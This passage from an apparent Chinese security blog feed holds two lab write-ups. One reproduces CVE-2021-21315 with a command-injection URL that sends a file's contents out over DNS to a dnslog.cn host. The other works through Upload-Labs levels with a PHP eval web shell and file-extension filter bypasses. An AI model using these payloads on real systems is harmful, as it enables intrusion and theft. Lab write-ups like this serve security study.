node_modules</span><br><span class="line">-rw-rw-r-- 1 node node 14563 Jun 9 2021 package-lock.json</span><br><span class="line">-rw-rw-r-- 1 node node 321 Jun 9 2021 package.json</span><br><span class="line">-rw-r--r-- 1 root root 8 Jul 23 19:36 test.txt</span><br><span class="line">root@71b47706cbf9:/node_proj# cat test.txt</span><br><span class="line">hacking</span><br></pre></td></tr></table></figure><h2 id="0x05-漏洞利用:拿到flag"><a href="#0x05-漏洞利用:拿到flag" class="headerlink" title="0x05 漏洞利用:拿到flag"></a><strong>0x05 漏洞利用:拿到flag</strong></h2><p>之前我们在镜像中添加了flag文件,接下来我们利用漏洞进行flag获取。利用</p><p>进入:<a href="http://www.dnslog.cn/">http://www.dnslog.cn/</a></p><p>点击<code>Get subDomain</code>,出现分配的随机子域名(t0wz3f.dnslog.cn)。</p><p>打开浏览器,输入以下url进行访问:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8001/api/getServices?name[]=$(ping%20`cat%20/node_proj/flag.txt`.t0wz3f.dnslog.cn)</span><br></pre></td></tr></table></figure><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658667329258.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658667329258.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658667329258"></p><p>之后在DNSlog站点点击<code>Refresh Record</code>,出现新的访问记录。</p><p><img src="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658667423358.png" class="lazyload placeholder" data-srcset="/2022/07/24/CVE-2021-21315-NodeJs%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/uTools_1658667423358.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658667423358"></p><p>此时我们拿到了之前写入的flag:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag{node_vul_flag_sixxxx}</span><br></pre></td></tr></table></figure><h2 id="0x06-DNSlog回显"><a href="#0x06-DNSlog回显" class="headerlink" title="0x06 DNSlog回显"></a>0x06 DNSlog回显</h2><p>以前在命令执行无法回显的时候可能会借用类似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。Liunx 系统环境下一般是使用 curl 命令或者 wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,常用的是 ftp命令和 PowerShell 中的文件下载来访问日志服务器。现在,有了一个比较通用的做法同时兼顾 Liunx 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。</p><p>最后,在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。</p><p>推荐平台:<br><a href="http://www.dnslog.cn/">http://www.dnslog.cn</a><br><a href="http://admin.dnslog.link/">http://admin.dnslog.link</a><br><a href="http://ceye.io/">http://ceye.io</a></p>]]></content>
<summary type="html"><h1 id="CVE-2021-21315-NodeJs命令注入漏洞复现"><a href="#CVE-2021-21315-NodeJs命令注入漏洞复现" class="headerlink" title="CVE-2021-21315 NodeJs命令注入漏洞复现"></a</summary>
<category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
<category term="nodeJs" scheme="http://example.com/tags/nodeJs/"/>
</entry>
<entry>
<title>Upload Labs 做题记录</title>
<link href="http://example.com/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
<id>http://example.com/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/</id>
<published>2022-07-21T16:06:50.000Z</published>
<updated>2022-07-21T16:10:49.752Z</updated>
<content type="html"><![CDATA[<h1 id="Upload-Labs-做题记录"><a href="#Upload-Labs-做题记录" class="headerlink" title="Upload Labs 做题记录"></a>Upload Labs 做题记录</h1><p>作业</p><h2 id="Pass-01"><a href="#Pass-01" class="headerlink" title="Pass-01"></a>Pass-01</h2><p>尝试上传一个PHP文件,结果弹出结果:“该文件不允许上传,请上传.jpg|.png|.gif类型的文件” 。</p><p>初步判断为JS前端绕过。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657794763383.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657794763383.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1657794763383"></p><p>尝试前端绕过,在前端js判断函数中加上可以上传php文件。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657795028004.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657795028004.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1657795028004"></p><p><code>p1_hack.php</code> 中的内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line">@<span class="keyword">eval</span>(<span class="variable">$_REQUEST</span>[<span class="string">'pp'</span>]); </span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>上传成功:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657796603388.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1657796603388.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1657796603388"></p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321247026.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321247026.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658321247026"></p><p>复制图片地址并用蚁剑进行连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321755301.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321755301.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658321755301"></p><p>连接成功。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321704956.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321704956.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658321704956"></p><h2 id="Pass-02"><a href="#Pass-02" class="headerlink" title="Pass-02"></a>Pass-02</h2><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321964748.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658321964748.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658321964748"></p><p>查看源码,发现对可上传的文件类型进行了限制</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322064628.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322064628.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322064628"></p><p>抓包并修改文件类型</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322190238.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322190238.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322190238"></p><p>成功!!</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322236227.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322236227.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322236227"></p><p>同理,使用蚁剑连接。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322411072.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322411072.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322411072"></p><p>成功。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322427457.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322427457.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322427457"></p><h2 id="Pass-03"><a href="#Pass-03" class="headerlink" title="Pass-03"></a>Pass-03</h2><p>不允许使用上传.asp,.aspx,.php,.jsp后缀的文件</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322572870.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322572870.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322572870"></p><p>使用文件后缀名为<code>.php3</code>,成功上传</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322842510.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322842510.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322842510"></p><p>成功连接</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322774663.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322774663.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322774663"></p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322735103.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658322735103.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658322735103"></p><p>(坑:不要用新版!!不要用新版!!!,用旧版PhpStudy没问题</p><p>小皮系统PHPstudy的Apache文件设置默认不支持php3,php5等,得自己修改)</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658326943296.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658326943296.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658326943296"></p><h2 id="Pass-04"><a href="#Pass-04" class="headerlink" title="Pass-04"></a>Pass-04</h2><p>查看源码发现黑名单列表:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (file_exists(UPLOAD_PATH)) { <span class="variable">$deny_ext</span> =<span class="keyword">array</span></span><br><span class="line">(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".php1"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".pHp1"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".ini"</span>);</span><br></pre></td></tr></table></figure><p>尝试上传一个不在黑名单列表里面的文件。</p><p>创建文件:<code>p4_try.htaccess</code>,写入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SetHandler application/x-httpd-php</span><br></pre></td></tr></table></figure><p>htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。</p><p>.htaccess文件生效,需要两个条件</p><ul><li><p>在Apache的配置文件中写上:AllowOverride All</p></li><li><p>Apache要加载mod_Rewrite模块</p></li></ul><p>原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了</p><p>上传<code>p4_try.htaccess</code>,再上传图片马<code>p4_hack.jpg</code>,成功。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323364911.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323364911.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658323364911"></p><p>尝试蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323340894.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323340894.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658323340894"></p><p>成功</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323387900.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323387900.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658323387900"></p><h2 id="Pass-05"><a href="#Pass-05" class="headerlink" title="Pass-05"></a>Pass-05</h2><p>此时的黑名单更全,限制更多。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323621734.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658323621734.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658323621734"></p><p>上传时抓包,修改上传文件名:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658324730124.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658324730124.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658324730124"></p><p>上传成功,使用蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325014943.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325014943.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658325014943"></p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325091591.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325091591.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658325091591"></p><h2 id="Pass-06"><a href="#Pass-06" class="headerlink" title="Pass-06"></a>Pass-06</h2><p>源码忽略了大小写限制</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325399216.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325399216.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658325399216"></p><p>定义文件名:<code>p6_hack.PHP</code>,成功上传。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325362900.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658325362900.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658325362900"></p><p>利用蚁剑连接成功。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329558376.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329558376.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658329558376"></p><h2 id="Pass-07"><a href="#Pass-07" class="headerlink" title="Pass-07"></a>Pass-07</h2><p>该题目没有设置限制首位去空的情况</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329892930.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329892930.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658329892930"></p><p>尝试抓包,修改文件名,尝试绕过过滤。上传成功,并得到返回路径</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329866542.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658329866542.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658329866542"></p><p>可以看到:<code>"../upload/202207201513145429.php "</code></p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330068717.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330068717.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330068717"></p><p>使用蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330163600.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330163600.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330163600"></p><h2 id="Pass-08"><a href="#Pass-08" class="headerlink" title="Pass-08"></a>Pass-08</h2><p>查看源码,发现该题目没有限制文件末尾点的情况</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330219434.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330219434.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330219434"></p><p>尝试绕过:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330327867.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330327867.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330327867"></p><p>上传成功:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330356321.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330356321.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330356321"></p><p>蚁剑连接结果如下:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330390746.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330390746.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330390746"></p><h2 id="Pass-09"><a href="#Pass-09" class="headerlink" title="Pass-09"></a>Pass-09</h2><p>查看源码,发现改题目忽略了字符串::$DATA限制</p><blockquote><p>在php+windows的情况下:如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过</p></blockquote><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330593738.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330593738.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330593738"></p><p>抓包并修改:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330726557.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330726557.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330726557"></p><p>上传成功:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330778889.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330778889.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330778889"></p><p>使用蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330858626.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330858626.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330858626"></p><p>连接成功。</p><h2 id="Pass-10"><a href="#Pass-10" class="headerlink" title="Pass-10"></a>Pass-10</h2><p>抓包修改:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331191913.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331191913.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658331191913"></p><p>使用蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331260766.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331260766.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658331260766"></p><h2 id="Pass-11"><a href="#Pass-11" class="headerlink" title="Pass-11"></a><strong>Pass-11</strong></h2><p>尝试上传<code>p11_hack_try.php</code>文件</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331554737.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331554737.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658331554737"></p><p>成功,但是得到的文件连接为:<code>http://127.0.0.1/upload/p11_hack_try.</code>,无法利用。</p><p>查看源码,发现题目使用了替换函数,将php文件替换为空</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330926251.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658330926251.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658330926251"></p><p>使用文件名:<code>p11_hack.pphphp</code>,成功绕过,此时文件在服务器端文件名为:</p><p><code>http://127.0.0.1/upload/p11_hack.php</code>,使用蚁剑连接</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331735899.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658331735899.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" 